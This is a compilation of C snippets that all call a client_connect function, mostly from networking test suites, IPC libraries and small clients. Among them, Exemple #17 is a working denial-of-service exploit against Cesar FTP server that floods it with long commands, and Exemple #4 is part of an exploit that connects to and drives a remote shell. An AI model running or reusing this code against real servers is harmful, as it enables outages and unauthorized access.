Exemple #1
0
static int run(void)
{
	int i, ret = 0;

	buf = malloc(!custom ? test_size[TEST_CNT - 1].size : transfer_size);
	if (!buf) {
		perror("malloc");
		return -1;
	}

	if (!dst_addr) {
		ret = server_listen();
		if (ret)
			goto free;
	}

	printf("%-10s%-8s%-8s%-8s%-8s%8s %10s%13s\n",
	       "name", "bytes", "xfers", "iters", "total", "time", "Gb/sec", "usec/xfer");
	if (!custom) {
		optimization = opt_latency;
		ret = dst_addr ? client_connect() : server_connect();
		if (ret)
			goto free;

		for (i = 0; i < TEST_CNT; i++) {
			if (test_size[i].option > size_option)
				continue;
			init_latency_test(test_size[i].size);
			run_test();
		}
		rshutdown(rs, SHUT_RDWR);
		rclose(rs);

		optimization = opt_bandwidth;
		ret = dst_addr ? client_connect() : server_connect();
		if (ret)
			goto free;
		for (i = 0; i < TEST_CNT; i++) {
			if (test_size[i].option > size_option)
				continue;
			init_bandwidth_test(test_size[i].size);
			run_test();
		}
	} else {
		ret = dst_addr ? client_connect() : server_connect();
		if (ret)
			goto free;

		ret = run_test();
	}

	rshutdown(rs, SHUT_RDWR);
	rclose(rs);
free:
	free(buf);
	return ret;
}
Exemple #2
0
static int
pseudo_client_setup(void) {
	char * pseudo_pidfile;
	FILE *fp;
	server_pid = 0;

	/* avoid descriptor leak, I hope */
	if (connect_fd >= 0) {
		close(connect_fd);
		connect_fd = -1;
	}

	pseudo_pidfile = pseudo_localstatedir_path(PSEUDO_PIDFILE);
	fp = fopen(pseudo_pidfile, "r");
	if (fp) {
		if (fscanf(fp, "%d", &server_pid) != 1) {
			pseudo_debug(1, "Opened server PID file, but didn't get a pid.\n");
		}
		fclose(fp);
	}
	if (server_pid) {
		if (kill(server_pid, 0) == -1) {
			pseudo_debug(1, "couldn't find server at pid %d: %s\n",
				server_pid, strerror(errno));
			server_pid = 0;
		}
	}
	if (!server_pid) {
		if (client_spawn_server()) {
			return 1;
		}
	}
	if (!client_connect() && !client_ping()) {
		return 0;
	}
	pseudo_debug(2, "server seems to be gone, trying to restart\n");
	if (client_spawn_server()) {
		pseudo_debug(1, "failed to spawn server, giving up.\n");
		return 1;
	} else {
		pseudo_debug_verbose();
		pseudo_debug(2, "restarted, new pid %d\n", server_pid);
		if (!client_connect() && !client_ping()) {
			pseudo_debug_terse();
			return 0;
		}
		pseudo_debug_terse();
	}
	pseudo_debug(1, "couldn't get a server, giving up.\n");
	return 1;
}
Exemple #3
0
int ipclite_client_connect(ipclite *c, const char *path, int flags)
{
    ipclite_client *clt = (ipclite_client *)c;
    struct sockaddr_un addr;
    socklen_t len = sizeof(addr);
    int ret, fd;

    if(! clt || clt->base.type != IPCLITE_CLIENT || ! path || ! *path)
        return IPCLITE_ERR_INV;

    if((fd = socket(AF_UNIX, SOCK_STREAM, 0)) == -1)
        return IPCLITE_ERR_SCK;

    addr.sun_family = AF_UNIX;
    addr.sun_path[0] = '\0';
    if(flags & IPCLITE_F_ABSTRACT)
        strncpy(addr.sun_path + 1, path, sizeof(addr.sun_path) - 1);
    else
        strncpy(addr.sun_path, path, sizeof(addr.sun_path));

    if(connect(fd, (struct sockaddr *)&addr, len) < 0)  {
        close(fd);
        return IPCLITE_ERR_CNN;
    }

    ret = client_connect(clt, fd, path, flags);
    if(ret != IPCLITE_ERR_OK)
        close(fd);
    return ret;
}
Exemple #4
0
void retrfile(char *s,int len,int port)
{
    int i,pid;
    char data1;
    struct sockaddr_in client;
    
    memset(&client,0,sizeof(client));
    sockfd1=socket(2,1,0);
    if(create_serv(sockfd1,port)<0) quit();
    i=sizeof(client);
      sockfd2=accept(sockfd1,(struct sockaddr *)&client,&i);
      printf("[+] Accepted a client from %s\n",inet_ntoa(client.sin_addr));
      memset(s,0,len);
      if(getshell==1)
    {
        if(bindmethod==0)
        {
            printf("[+] Is it a shell on %s:%d?\n",cbhost,pt);
            quit();
        }
        else
        {
            printf("[+] Waiting for a shell.....\n");
            sockfd2=socket(AF_INET,SOCK_STREAM,0);
            sleep(2);
            client_connect(sockfd2,server,pt);
            execsh(sockfd2);
            quit();
        }
    }
    readbuf(NULL,sockfd2,s,len);
      close(sockfd2);
    close(sockfd1);
    
}
Exemple #5
0
static int run(void)
{
	int ret = 0;

	if (!dst_addr) {
		ret = server_listen();
		if (ret)
			return ret;
	}

	ret = dst_addr ? client_connect() : server_connect();
	if (ret) {
		return ret;
	}

	run_test();

	fi_shutdown(ep, 0);
	fi_close(&ep->fid);
	free_ep_res();
	if (!dst_addr)
		free_lres();
	fi_close(&dom->fid);
	fi_close(&fab->fid);
	return ret;
}
Exemple #6
0
static void run_client(struct thread *t)
{
        struct options *opts = t->opts;
        const int flows_in_this_thread = flows_in_thread(opts->num_flows,
                                                         opts->num_threads,
                                                         t->index);
        struct callbacks *cb = t->cb;
        struct epoll_event *events;
        int epfd, i;
        char *buf;

        LOG_INFO(cb, "flows_in_this_thread=%d", flows_in_this_thread);
        epfd = epoll_create1(0);
        if (epfd == -1)
                PLOG_FATAL(cb, "epoll_create1");
        epoll_add_or_die(epfd, t->stop_efd, EPOLLIN, cb);
        for (i = 0; i < flows_in_this_thread; i++)
                client_connect(i, epfd, t);
        events = calloc(opts->maxevents, sizeof(struct epoll_event));
        buf = buf_alloc(opts);
        pthread_barrier_wait(t->ready);
        while (!t->stop) {
                int ms = opts->nonblocking ? 10 /* milliseconds */ : -1;
                int nfds = epoll_wait(epfd, events, opts->maxevents, ms);
                if (nfds == -1) {
                        if (errno == EINTR)
                                continue;
                        PLOG_FATAL(cb, "epoll_wait");
                }
                client_events(t, epfd, events, nfds, buf);
        }
        free(buf);
        free(events);
        do_close(epfd);
}
Exemple #7
0
static int client_expect_reject(size_t paramlen)
{
	uint32_t event;
	int ret;

	ret = client_connect(paramlen);
	if (ret) {
		FT_PRINTERR("fi_connect", ret);
		return ret;
	}

	ret = fi_eq_sread(eq, &event, entry, sizeof(*entry), -1, 0);
	if (ret != -FI_EAVAIL) {
		FT_PROCESS_EQ_ERR(ret, eq, "fi_eq_sread", "connect");
		return ret;
	}

	ret = fi_eq_readerr(eq, &err_entry, 0);
	if (ret != sizeof(err_entry)) {
		FT_EQ_ERR(eq, err_entry, NULL, 0);
		return err_entry.err;
	}

	if (err_entry.err != FI_ECONNREFUSED)
		return err_entry.err;

	/* Check data on FI_ECONNREFUSED error event. */
	return ft_check_buf(err_entry.err_data, err_entry.err_data_size);
}
Exemple #8
0
static void
leak_closure(void)
{
	struct wl_callback *cb;
	struct pollfd pfd;
	struct client *c = client_connect();

	cb = wl_display_sync(c->wl_display);
	assert(cb);
	assert(wl_display_flush(c->wl_display) > 0);

	/* we don't need it, it is referenced */
	wl_callback_destroy(cb);

	pfd.fd = wl_display_get_fd(c->wl_display);
	pfd.events = POLLIN;

	test_set_timeout(2);
	assert(poll(&pfd, 1, -1) == 1);

	/* read events, but do not dispatch them */
	assert(wl_display_prepare_read(c->wl_display) == 0);
	assert(wl_display_read_events(c->wl_display) == 0);

	/*
	 * now we have wl_callback.done and wl_display.delete_id queued;
	 * if we now release the queue (in wl_display_disconnect())
	 * we should not leak memory
	 */

	client_disconnect(c);
}
Exemple #9
0
static int client_expect_accept(size_t paramlen)
{
	size_t expected;
	uint32_t event;
	int ret;

	expected = paramlen + sizeof(*entry);

	ret = client_connect(paramlen);
	if (ret) {
		FT_PRINTERR("fi_connect", ret);
		return ret;
	}

	ret = fi_eq_sread(eq, &event, entry, expected, -1, 0);
	if (ret != expected) {
		FT_PROCESS_EQ_ERR(ret, eq, "fi_eq_sread", "connect");
		return ret;
	}

	if (event != FI_CONNECTED || entry->fid != &ep->fid) {
		FT_ERR("Unexpected CM event %d fid %p (ep %p)", event,
				entry->fid, ep);
		return -FI_EOTHER;
	}

	/* Check data on FI_CONNECTED event. */
	ret = ft_check_buf(entry->data, paramlen);
	if (ret)
		return ret;

	fi_shutdown(ep, 0);
	return read_shutdown_event();
}
Exemple #10
0
static int run(void)
{
	int ret = 0;

	addr_array = calloc(ep_cnt, sizeof(*addr_array));
	if (!addr_array) {
		perror("malloc");
		return -FI_ENOMEM;
	}

	if (hints->ep_attr->type == FI_EP_MSG) {
		if (!opts.dst_addr) {
			ret = ft_start_server();
			if (ret)
				return ret;
		}

		ret = opts.dst_addr ? client_connect() : server_connect();
	} else {
		ret = init_fabric();
	}
	if (ret)
		return ret;

	ret = run_test();

	/* TODO: Add a local finalize applicable to shared ctx */
	//ft_finalize(fi, ep_array[0], txcq, rxcq, addr_array[0]);
	return ret;
}
Exemple #11
0
int main()
{
	tlog_init(TLOG_MODE_STDERR, TLOG_INFO, NULL);

	rcp_connect("10.25.25.220");

	start_message_manager();

	client_register(RCP_USER_LEVEL_LIVE, "", RCP_REGISTRATION_TYPE_NORMAL, RCP_ENCRYPTION_MODE_MD5);

	rcp_coder_list encoders, decoders;
	get_coder_list(RCP_CODER_ENCODER, RCP_MEDIA_TYPE_VIDEO, &encoders, 1);
	TL_DEBUG("***");
	for (int i=0; i<encoders.count; i++)
		TL_DEBUG("%x %x %x %x %x", encoders.coder[i].number, encoders.coder[i].caps, encoders.coder[i].current_cap, encoders.coder[i].param_caps, encoders.coder[i].current_param);
	TL_DEBUG("***");
	get_coder_list(RCP_CODER_DECODER, RCP_MEDIA_TYPE_VIDEO, &decoders, 1);
	TL_DEBUG("***");
	for (int i=0; i<decoders.count; i++)
		TL_DEBUG("%x %x %x %x %x", decoders.coder[i].number, decoders.coder[i].caps, decoders.coder[i].current_cap, decoders.coder[i].param_caps, decoders.coder[i].current_param);
	TL_DEBUG("***");

	rcp_session session;
	memset(&session, 0, sizeof(rcp_session));
	unsigned short udp_port = stream_connect_udp(&session);

	TL_DEBUG("udp port = %d", udp_port);

	rcp_media_descriptor desc = {
			RCP_MEP_UDP, 1, 1, 0, udp_port, 0, 1, RCP_VIDEO_CODING_MPEG4, RCP_VIDEO_RESOLUTION_4CIF
	};

	client_connect(&session, RCP_CONNECTION_METHOD_GET, RCP_MEDIA_TYPE_VIDEO, 0, &desc);

	pthread_create(&thread, NULL, keep_alive_thread, &session);

	rtp_merge_desc mdesc;
	rtp_init(RTP_PAYLOAD_TYPE_H263, 1, &mdesc);

	time_t end_time = time(NULL) + 10;
	while (time(NULL) < end_time)
	{
/*
		int num = recvfrom(con.stream_socket, buffer, 1500, 0, (struct sockaddr*)&si_remote, &slen);

		rtp_push_frame(buffer, num, &mdesc);
*/
		rtp_recv(session.stream_socket, &mdesc);

		if (rtp_pop_frame(&mdesc) == 0)
			fwrite(mdesc.data, mdesc.frame_lenght, 1, stdout);
	}

	pthread_cancel(thread);

	stop_message_manager();

	return 0;
}
Exemple #12
0
int ipclite_client_connect_from_fd(ipclite *c, int fd, int flags)
{
    ipclite_client *clt = (ipclite_client *)c;

    if(! clt || clt->base.type != IPCLITE_CLIENT)
        return IPCLITE_ERR_INV;

    return client_connect(clt, fd, NULL, flags);
}
Exemple #13
0
int main(int argc, char **argv)
{
	int op, ret;

	opts = INIT_OPTS;
	hints = fi_allocinfo();
	if (!hints)
		return EXIT_FAILURE;

	while ((op = getopt(argc, argv, "h" ADDR_OPTS INFO_OPTS)) != -1) {
		switch (op) {
		default:
			ft_parse_addr_opts(op, optarg, &opts);
			ft_parseinfo(op, optarg, hints);
			break;
		case '?':
		case 'h':
			ft_usage(argv[0], "A simple MSG client-sever example that "
				"demonstrates one possible usage of the underlying "
				"cq wait objects.");
			return EXIT_FAILURE;
		}
	}

	if (optind < argc)
		opts.dst_addr = argv[optind];

	hints->ep_attr->type	= FI_EP_MSG;
	hints->caps		= FI_MSG;
	hints->mode		= FI_LOCAL_MR;
	hints->addr_format	= FI_SOCKADDR;

	/* Fabric and connection setup */
	if (!opts.dst_addr) {
		ret = server_listen();
		if (ret)
			return -ret;
	}

	ret = opts.dst_addr ? client_connect() : server_connect();
	if (ret) {
		return -ret;
	}

	/* Exchange data */
	ret = send_recv();

	fi_shutdown(ep, 0);
	free_ep_res();
	fi_close(&cmeq->fid);
	fi_close(&dom->fid);
	fi_close(&fab->fid);

	return ret;
}
Exemple #14
0
void *sync_func(void *arg)
{
	int fd_cl, t_seek=0, synced_events, synced_count=0, total_count=0;
	char buf[MSG_LEN], events_buf[32];
	int ret=0;

	while(1) {
		ret = check_data_status();
		if((ret > 0) &&  client_connect()) {

		//	printf("data_status : %d\n", check_data_status());
			
			pthread_mutex_lock(&mtx);
			fd_cl = open(CLIENT_FILENAME, O_SYNC | O_RDONLY, 0666);	
			do {
				total_count = current_events(1);
				synced_count = current_events(2);
				printf("++ total_events: %d || synced_events: %d\n", total_count, synced_count);
				ret = lseek(fd_cl, 0, SEEK_SET);
				printf("VDEBUG__ 11 Seek position = %d || return %d\n", 0, ret);
				ret = lseek(fd_cl, (MSG_LEN*synced_count), SEEK_SET);
				printf("VDEBUG__ 22 Seek position = %d || return %d\n", (MSG_LEN*synced_count), ret);
				ret = read(fd_cl, buf, MSG_LEN);
				printf("VDEBUG__ sync_func() read %d bytes\n", ret);

				printf("VDEBUG__ Buffer to publish: %s\n", buf);

				if(!publish(MSG_LEN, buf)) {				/* Considering publish will return 0 when sucess */
					/* Saving number of events to disk */
					synced_events = open("SYNCED_EVENTS", O_CREAT | O_TRUNC | O_SYNC | O_WRONLY, 0666);
					ret = lseek(synced_events, 0, SEEK_SET);
					printf("VDEBUG__ lseeked synced count file to %d\n", ret);
					sprintf(events_buf, "%d", ++synced_count);
here:				ret = write(synced_events, events_buf, strlen(events_buf));
					close(synced_events);
					if (ret==-1) {
						printf("VDEBUG__ writing synced count failed !\n");
						printf("Retrying..\n");
						sleep(1);
						goto here;
					}
					printf("VDEBUG__ written synced count %d\n", synced_count);
				}
			} while (synced_count < total_count);
			close(fd_cl);

			MQTTClient_disconnect(client, 10000);
			pthread_mutex_unlock(&mtx);
		}
		else {
			sleep(10);
		}
	}
	pthread_exit(NULL);	
}
Exemple #15
0
int main(int argc, const char *argv[])
{
    fd_set allreads;
    fd_set readmask;

    int socket = 0;
    int rc = 0;
    RingBuffer *in_rb = RingBuffer_create(1024 * 10);
    RingBuffer *sock_rb = RingBuffer_create(1024 * 10);

    check(argc == 3, "USAGE: netclient HOST PORT");

    socket = client_connect(argv[1], argv[2]);
    check(socket >= 0, "Connect to %s:%s failed.", argv[1], argv[2]);

    FD_ZERO(&allreads);
    FD_SET(socket, &allreads);
    FD_SET(0, &allreads);

    while(1) {
        readmask = allreads;
        rc = select(socket + 1, &readmask, NULL, NULL, NULL);
        check(rc >= 0, "Select failed");

        if(FD_ISSET(0, &readmask)) {
            rc = read_some(in_rb, 0, 0);
            check_debug(rc != -1, "failed to read from stdin.");
        }

        if(FD_ISSET(socket, &readmask)) {
            rc = read_some(sock_rb, socket, 0);
            check_debug(rc != -1, "failed to read from socket.");
        }

        while(!RingBuffer_empty(sock_rb)) {
            rc = write_some(sock_rb, 1, 0);
            check_debug(rc != -1, "failed to write to stdout.");
        }

        while(!RingBuffer_empty(in_rb)) {
            rc = write_some(in_rb, socket, 1);
            check_debug(rc != -1, "failed to write to socket.");
        }

    }

    RingBuffer_destroy(in_rb);
    RingBuffer_destroy(sock_rb);

    return 0;

error:
    return -1;
}
Exemple #16
0
void
main(int argc, char **argv)
{
	int c;
	extern char *optarg;
	extern int optind;
	extern int opterr;
	char *msg;
	char *address;
	Range r;

	/* parse arguments */
	opterr = 0;
	while ((c = getopt(argc, argv, "v")) != -1) {
		switch (c) {
		case 'v':
			fprintf(stderr, "%s\n", versioninfo);
			exit(0);
		default:
			fprintf(stderr, "%s\n", usageinfo);
			exit(1);
			break;
		}
	}
	if (argv[optind] == 0 || argv[optind + 1] != 0) {
		fprintf(stderr, "%s\n", usageinfo);
		exit(1);
	}
	address = argv[optind];
	
	/* open connection */
	wilyfd = client_connect();
	if (wilyfd < 0) {
		error("client_connect() failed" here);
		exit(1);
	}
	handle = rpc_init(wilyfd);

	/* get address */
	msg = rpc_goto(handle, &id, &r, strdup(address), 1);
	if (msg != 0) {
		error("rpc_goto() failed" here ": %s", msg);
		exit(1);
	}
	if (r.p0 > r.p1) {
		error("unable to find %s", address);
		exit(1);
	}
	
	exit(0);
}
Exemple #17
0
void main(int argc, char *argv[])
{
   WSADATA wsa;
   unsigned short    port;
   unsigned long     ip;

   SOCKET s;
   int size = SIZE;

   printf("Cesar FTP Server Long Command DoS Exploit\r\n");
       printf("lion lion#cnhonker.net, http://www.cnhonker.com\r\n\n");

   if(argc < 3)
   {
       printf("%s <TargetHost> <TargetPort>\r\n", argv[0]);
       return;
   }
   
   WSAStartup(MAKEWORD(2,2),&wsa);

   if((s=create_socket())==0)
   {
       printf("[-] ERROR: Create socket failed.\r\n");
       return;
   }
     
   if(!client_connect(s, argv[1], atoi(argv[2])))
       exit(-1);
 
   readbuf("read", s, recvbuf, BUFFSIZE);

   memset(sendbuf, 0, BUFFSIZE);
   memset(sendbuf, 'A', size);

   sendbuf[size-2] ='\r';
   sendbuf[size-1] ='\n';
     
   while(1)
   {
       show=1;
       writebuf("Send Buff", s, sendbuf, size);
       readbuf("read", s, recvbuf, BUFFSIZE);
       Sleep(1000);
   }
    
   if(s)
       closesocket(s);
         
   WSACleanup();
}
Exemple #18
0
int bind2conn(int port1,char *host,int port2)
{
    int sockfd,sockfd1,sockfd2;
    struct sockaddr_in remote;
    int size;
    int pid;
    char buffer[1024];

    memset(buffer,0,1024);
    if((sockfd=create_socket())==0) exit(0);
    if(create_serv(sockfd,port1)==0)
    {
        close(sockfd1);
        exit(0);
    }
    size=sizeof(struct sockaddr);
    while(1)
    {
        printf("waiting for response.........\n");
        if((sockfd1=accept(sockfd,(struct sockaddr *)&remote,(socklen_t *)&size))<0)
		{
			perror("accept error\n");
			continue;
		}
        printf("accept a client from %s:%d\n",inet_ntoa(remote.sin_addr),ntohs(remote.sin_port));
        if((sockfd2=create_socket())==0)
        {
            close(sockfd1);
            continue;
        }
        printf("make a connection to %s:%d....",host,port2);
        fflush(stdout);
        if(client_connect(sockfd2,host,port2)==0)
        {
            close(sockfd2);
            sprintf(buffer,"[SERVER]connection to %s:%d error\r\n",host,port2);
            write(sockfd1,buffer,strlen(buffer));
            memset(buffer,0,1024);
            close(sockfd1);
            continue;
        }
        printf("ok\r\n");
        pid=fork();
        if(pid==0) transdata(sockfd1,sockfd2);
        // sleep(2);
        close(sockfd1);
        close(sockfd2);
    }

}
Exemple #19
0
int main( int argc, char *argv[] ) {

  if ( argc != 2 ) {
    printf( "Usage: client SERVER_IP_ADDRESS\n" );
    return 1;
  }

  client_sock = client_connect( argv[ 1 ] );
  
  in_msg(); 
  
  terminate_socket( client_sock );
  return 0; 
}
Exemple #20
0
int main(int argc, char *argv[])
{
    init_enet_server(PORT);

    LOG("Started server.\n");

    struct moag moag;
    init_game(&moag);

    LOG("Initialized game.\n");

    ENetEvent event;

    for (;;)
    {
        while (enet_host_service(get_server_host(), &event, 0))
        {
            switch (event.type)
            {
                case ENET_EVENT_TYPE_CONNECT:
                    LOG("Client connected.\n");
                    event.peer->data = (void *)client_connect(&moag);
                    break;

                case ENET_EVENT_TYPE_DISCONNECT:
                    LOG("Client disconnected.\n");
                    disconnect_client(&moag, (intptr_t)event.peer->data);
                    break;

                case ENET_EVENT_TYPE_RECEIVE:
                    on_receive(&moag, &event);
                    enet_packet_destroy(event.packet);
                    break;

                default:
                    break;
            }
        }
	SDL_Delay(10);

        step_game(&moag);
    }

    uninit_enet();

    LOG("Stopped server.\n");

    return EXIT_SUCCESS;
}
Exemple #21
0
int main() {
    Client *client = create_client();
    client->port = PORT;
    client->handler = &handler;
    client_connect(client, "localhost");

    char buff[BUFFER_SIZE];
    printf("Please enter msg: ");
    bzero(buff, BUFFER_SIZE);
    fgets(buff, BUFFER_SIZE, stdin);

    client_send(client, buff);

    return 0;
}
int main(int argc, char **argv)
{
	int sfd;
	int cfd;

	setenv("PCM_HOOK", "accept", 1);
	setenv("PCM_POLICY_FILE", "../tests/01-accept.json", 1);
	pcm_initialize();

	sfd = server_run();	
	cfd = client_connect();
	accept_connection(sfd);

	return 0;
}
Exemple #23
0
static int run(void)
{
	int i, ret = 0;

	if (!opts.dst_addr) {
		ret = server_listen();
		if (ret)
			return ret;
	}

	ret = opts.dst_addr ? client_connect() : server_connect();
	if (ret)
		return ret;

	ret = exchange_addr_key();
	if (ret)
		return ret;

	if (!(opts.user_options & FT_OPT_SIZE)) {
		for (i = 0; i < TEST_CNT; i++) {
			if (test_size[i].option > opts.size_option)
				continue;
			opts.transfer_size = test_size[i].size;
			init_test(&opts, test_name, sizeof(test_name));
			ret = run_test();
			if (ret)
				goto out;
		}
	} else {
		init_test(&opts, test_name, sizeof(test_name));
		ret = run_test();
		if (ret)
			goto out;
	}

	sync_test();
	wait_for_data_completion(scq, max_credits - credits);
	/* Finalize before closing ep */
	ft_finalize(ep, scq, rcq, FI_ADDR_UNSPEC);
out:
	fi_shutdown(ep, 0);
	free_ep_res();
	if (!opts.dst_addr)
		free_lres();
	fi_close(&dom->fid);
	fi_close(&fab->fid);
	return ret;
}
Exemple #24
0
static int run(void)
{
	int i, ret = 0;

	ret = opts.dst_addr ? client_connect() : server_connect();
	if (ret)
		return ret;

	if (!(opts.user_options & FT_OPT_SIZE)) {
		for (i = 0; i < TEST_CNT; i++) {
			if (test_size[i].option > opts.size_option)
				continue;
			opts.transfer_size = test_size[i].size;
			init_test(&opts, test_name, sizeof(test_name));
			ret = run_test();
			if (ret)
				goto out;
		}
	} else {
		init_test(&opts, test_name, sizeof(test_name));
		ret = run_test();
		if (ret)
			goto out;
	}
	
	while (credits < max_credits)
		poll_all_sends();
	
	ft_finalize(ep, scq, rcq, remote_fi_addr);
out:
	free_ep_res();
	ret = fi_close(&av->fid);
	if (ret != 0) {
		FT_PRINTERR("fi_close", ret);
	}
	ret = fi_close(&dom->fid);
	if (ret != 0) {
		FT_PRINTERR("fi_close", ret);
	}
	ret = fi_close(&fab->fid);
	if (ret != 0) {
		FT_PRINTERR("fi_close", ret);
	}

	return ret;
}
Exemple #25
0
BOOL
ssl_socket::connect_impl(
  const string_ref host,
  uint16_t port
  )
{
  _socket.connect(host, port);

  if (_socket.is_connected())
  {
    m_bConInit = client_connect(host);
    return m_bConInit;
  }
  else
  {
    return FALSE;
  }
}
Exemple #26
0
static void
leak_after_error(void)
{
	struct client *c = client_connect();

	/* this should return -1, because we'll send error
	 * from server. */
	assert(stop_display(c, 1) == -1);
	assert(wl_display_dispatch_pending(c->wl_display) == -1);
	assert(wl_display_get_error(c->wl_display) == ENOMEM);

	/* after we got error, we have display_resume event
	 * in the queue. It should be freed in wl_display_disconnect().
	 * Let's see! */

	wl_proxy_destroy((struct wl_proxy *) c->tc);
	wl_display_disconnect(c->wl_display);
	free(c);
}
int TCP_Helper::connect(int timeout) {
	int rc;
	if(p_server) {
		server_listen(0);
		if(!ep_listener[0]) {
			usleep(timeout*1000);
			rc=ETIMEDOUT;
		} else {
			rc=server_connect(0,timeout);
		}
	} else {
		rc=client_connect(0,timeout);
	}
	
	p_is_connected=rc==0;
	//sized to handle ETHERNET less IP(20 byte)/TCP(max 24 byte) headers
	if (p_is_connected) ep_buf[0] = (__u8*)calloc(TCP_BUFFER_SIZE,sizeof(__u8));
	return rc;
}
Exemple #28
0
static int run(void)
{
	int i, ret = 0;

	if (!dst_addr) {
		ret = server_listen();
		if (ret)
			return ret;
	}

	print_test_hdr();

	ret = dst_addr ? client_connect() : server_connect();
	if (ret) {
		return ret;
	}

	if (!custom) {
		for (i = 0; i < TEST_CNT; i++) {
			if (test_size[i].option > size_option)
				continue;
			init_test(test_size[i].size, test_name, &transfer_size, &iterations);
			run_test();
		}
	} else {
		ret = run_test();
	}

	ret = wait_for_completion(scq, max_credits - credits);
	if (ret) {
		return ret;
	}
	credits = max_credits;

	fi_shutdown(ep, 0);
	fi_close(&ep->fid);
	free_ep_res();
	if (!dst_addr)
		free_lres();
	fi_close(&dom->fid);
	fi_close(&fab->fid);
	return ret;
}
Exemple #29
0
static int run(void)
{
	char *node, *service;
	uint64_t flags;
	int i, ret;

	ret = ft_read_addr_opts(&node, &service, hints, &flags, &opts);
	if (ret)
		return ret;

	if (!opts.dst_addr) {
		ret = ft_start_server();
		if (ret)
			return ret;
	}

	ret = opts.dst_addr ? client_connect() : server_connect();
	if (ret) {
		return ret;
	}

	if (!(opts.options & FT_OPT_SIZE)) {
		for (i = 0; i < TEST_CNT; i++) {
			if (!ft_use_size(i, opts.sizes_enabled))
				continue;
			opts.transfer_size = test_size[i].size;
			init_test(&opts, test_name, sizeof(test_name));
			ret = pingpong();
			if (ret)
				goto out;
		}
	} else {
		init_test(&opts, test_name, sizeof(test_name));
		ret = pingpong();
		if (ret)
			goto out;
	}

	ret = ft_finalize();
out:
	fi_shutdown(ep, 0);
	return ret;
}
Exemple #30
0
/*
 * NAME: connectory
 * USAGE: Connect to a given "host" and "port" with the given "family"
 * ARGS: family - AF_INET is the only supported argument.
 *       host - A hostname or "dotted quad" (or equivalent).
 *       port - The remote port to connect to in *HOST ORDER*.
 *
 * XXX - This so violates everything I really wanted this function to be,
 * but I changed it to call getaddrinfo() directly instead of calling
 * inet_vhostsockaddr() because I wanted it to be able to take advantage
 * of connecting to multiple protocols and multiple ip addresses (for things
 * like ``us.undernet.org'') without having to do multiple calls to
 * getaddrinfo() which could be quite costly.
 */
int	connectory (int family, const char *host, const char *port)
{
	AI	hints, *results, *ai;
	int	err;
	int	fd;
	SS	  localaddr;
	socklen_t locallen;

	memset(&hints, 0, sizeof(hints));
	hints.ai_family = family;
	hints.ai_socktype = SOCK_STREAM;
	if ((err = Getaddrinfo(host, port, &hints, &results)))
	{
		yell("Hostname lookup for [%s:%s] failed: %s (%d)", host, port, gai_strerror(err), err);
		return -5;
	}

	fd = -1;
	for (ai = results; ai; ai = ai->ai_next) 
	{
	    /* First, look up the virtual host we use for this protocol. */
	    err = inet_vhostsockaddr(ai->ai_family, -1, &localaddr, &locallen);
	    if (err < 0)
		continue;

	    /* Now try to do the connection. */
	    fd = client_connect((SA *)&localaddr, locallen, ai->ai_addr, ai->ai_addrlen);
	    if (fd < 0)
	    {
		err = fd;
		fd = -1;
		continue;
	    }
	    else
		break;
	}

	Freeaddrinfo(results);
	if (fd < 0)
		return err;
	return fd;
}